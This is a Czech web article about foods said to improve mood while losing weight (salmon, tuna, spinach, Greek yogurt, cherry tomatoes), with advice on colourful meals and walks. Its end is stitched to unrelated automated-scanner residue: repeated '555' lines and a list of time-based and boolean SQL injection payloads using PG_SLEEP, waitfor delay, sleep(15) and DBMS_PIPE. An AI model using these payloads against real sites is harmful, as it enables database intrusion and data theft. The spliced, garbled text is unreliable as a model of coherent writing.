Hubnete, kila nejdou dolů podle vašich představ, vy máte špatnou náladu a nejraději byste s hubnutím přestali? K potlačení depresí a rozmrzelosti vám mohou pomoci i některé potraviny!
Při hubnutí je nutné dodržet ideální složení stravy nejen podle správného množství kalorií, ale i složení jídel. Mnozí lidé, kteří se rozhodli zhubnout a nedaří se jim to podle jejich představ, často propadají špatné náladě a s hubnutím by nejraději skončili. Při dietě je mimo jiné i z důvodu potlačení špatné nálady potřeba do jídelníčku zařadit potraviny, které pomáhají hubnout i udržet dobrou náladu.
Ryby
Ryby jsou zdravé a dietní, obsahují také velké množství omega3 mastných kyselin, které jsou pro lidský organismus velmi prospěšné a také zlepšují náladu, protože omáhají uvolňování serotinu – takzvaného hormonu spokojenosti – v těle. Serotin také vyvolává pocit nasycenosti a je tedy pravděpodobné, že budeme jíst méně. Nejlepší jsou ryby mořské.
Losos je ideální při nahrazení červených mas. Omega3 mastné kyseliny obsahuje ve velkém množství a konzumovat by se v průběhu diety měl alespoň třikrát týdne. Podobně jako losos je velkým zdrojem omega3 mastných kyselin i tuňák.
Špenát
Špenát je vydatným zdrojem mnoha vitamínů a minerálních látek, především železa a hořčíku. Při nedostatku hořčíku v těle se cítíme unavení a podráždění. Špenátu navíc snižuje chuť na sladké i slané a tak se při dietě mnohem lépe dodržuje regulace konzumace správných potravin.
Řecký jogurt
Zapomeňte na různé nízkotučné výrobky a jezte řecké jogurty. Obsahují totiž velké množství bílkovin, které pomáhají při tvorbě látek v mozku, udržujících energetickou hladinu těla a také celkovou kondici organismu. Řecký jogurt je podle odborných testů také prospěšný pro hubnutí a snižování váhy především v oblasti břicha.
Cherry rajčata
Malá cherry rajčata jsou další velmi zdravá zelenina. Obsahují lykopen, který je přírodní barvivo a zároveň účinný antioxidant, odstraňující z lidského organismu škodlivé látky. Lykopen také zároveň brání tomu, aby se v těle usazovaly látky, které mají negativní vliv na náladu. Cherry rajčata se také v salátech velmi dobře kombinují s mnoha dalšími druhy zeleniny.
Významnou úlohu v boji proti špatné náladě při hubnutí má i barva potravin. V době hubnutí bychom měli konzumovat především barevně pestré potraviny i připravená jídla. Nejlepší barvy jsou červená, oranžová a žlutá, které se kombinují se zelenou a modrou.
Nezapomínejte ani na dostatek pohybu. Nezavírejte se ale jen v posilovně, tělocvičně nebo hřišti v kryté hale - i v zimním období vám určitě prospěje alespoň krátká procházka v parku…
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@juj4o
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZFzjOGJq')) OR 764=(SELECT 764 FROM PG_SLEEP(15))--
90h7NA8d') OR 220=(SELECT 220 FROM PG_SLEEP(15))--
w3sLwYfo' OR 618=(SELECT 618 FROM PG_SLEEP(15))--
-1)) OR 769=(SELECT 769 FROM PG_SLEEP(15))--
-5) OR 66=(SELECT 66 FROM PG_SLEEP(15))--
-5 OR 931=(SELECT 931 FROM PG_SLEEP(15))--
zt9RUOd8'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+420-420) --
-1" OR 3*2<(0+5+420-420) --
-1" OR 3+420-420-1=0+0+0+1 --
-1" OR 2+420-420-1=0+0+0+1 --
-1' OR 3*2>(0+5+682-682) or 'evWtxtpl'='
-1' OR 3*2<(0+5+682-682) or 'evWtxtpl'='
-1' OR 3+682-682-1=0+0+0+1 or 'evWtxtpl'='
-1' OR 2+682-682-1=0+0+0+1 or 'evWtxtpl'='
-1' OR 3*2>(0+5+276-276) --
-1' OR 3*2<(0+5+276-276) --
-1' OR 3+276-276-1=0+0+0+1 --
-1' OR 2+276-276-1=0+0+0+1 --
-1 OR 3*2>(0+5+359-359)
-1 OR 3*2<(0+5+359-359)
-1 OR 3+359-359-1=0+0+0+1
-1 OR 2+359-359-1=0+0+0+1
-1 OR 3*2>(0+5+929-929) --
-1 OR 3*2<(0+5+929-929) --
-1 OR 3+929-929-1=0+0+0+1 --
-1 OR 2+929-929-1=0+0+0+1 --
555
555
555
555
555